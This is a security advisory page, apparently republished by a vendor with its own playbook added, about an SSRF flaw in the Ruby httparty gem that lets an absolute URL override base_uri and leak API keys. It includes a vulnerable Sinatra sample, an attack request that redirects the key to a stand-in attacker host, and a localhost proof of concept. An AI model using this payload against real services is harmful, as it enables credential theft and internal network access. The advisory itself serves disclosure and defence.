GHSA-hm5p-x4rq-38w4
HIGHhttparty Has Potential SSRF Vulnerability That Leads to API Key Leakage
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
httpartyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.
Details
When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.
Consider the following example of a web application:
require 'sinatra'
require 'httparty'
class RepositoryClient
include HTTParty
base_uri 'http://exmaple.test/api/v1/repositories/'
headers 'X-API-KEY' => '1234567890'
end
post '/issue' do
request_body = JSON.parse(request.body.read)
RepositoryClient.get(request_body['repository_id']).body
# do something
json message: 'OK'
end
Now, suppose an attacker sends a request like this:
POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json
{
"repository_id": "http://attacker.test",
"title": "test"
}
In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.
A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463
Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin
PoC
Follow these steps to reproduce the issue:
-
Set up two simple HTTP servers.
mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & -
Create a script (for example,
main.rb):require 'httparty' class Client include HTTParty base_uri 'http://localhost:10001' end data = Client.get('http://localhost:10002').body puts data -
Run the script:
$ ruby main.rb this is server2
Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.
Impact
- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
- Affected users: Any software that uses
base_uriand does not properly validate the path parameter may be affected by this issue.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | httparty | all versions | 0.24.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for httparty. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update httparty to 0.24.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hm5p-x4rq-38w4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hm5p-x4rq-38w4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hm5p-x4rq-38w4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hm5p-x4rq-38w4 in your dependencies?
O3 detects GHSA-hm5p-x4rq-38w4 across RubyGems dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.